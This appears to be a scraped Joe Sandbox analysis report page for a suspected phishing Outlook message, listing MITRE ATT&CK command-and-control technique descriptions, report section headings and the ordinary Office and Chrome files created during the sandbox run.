Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FW_ FHAS Inc_ - Private and Confidential.msg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\48EBACDA.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7C20A313.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\ACA69AFD.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{9C988B96-81C5-4545-9CFC-FA09A30582A7}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1713966153440810300_9D896760-3D20-4F86-9968-C7231F7BD680.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1713966153441651900_9D896760-3D20-4F86-9968-C7231F7BD680.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240424T1542330214-3932.etl

C:\Users\user\AppData\Local\Temp\~DFC466553D3B223022.TMP

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Windows Analysis Report
FW_ FHAS Inc_ - Private and Confidential.msg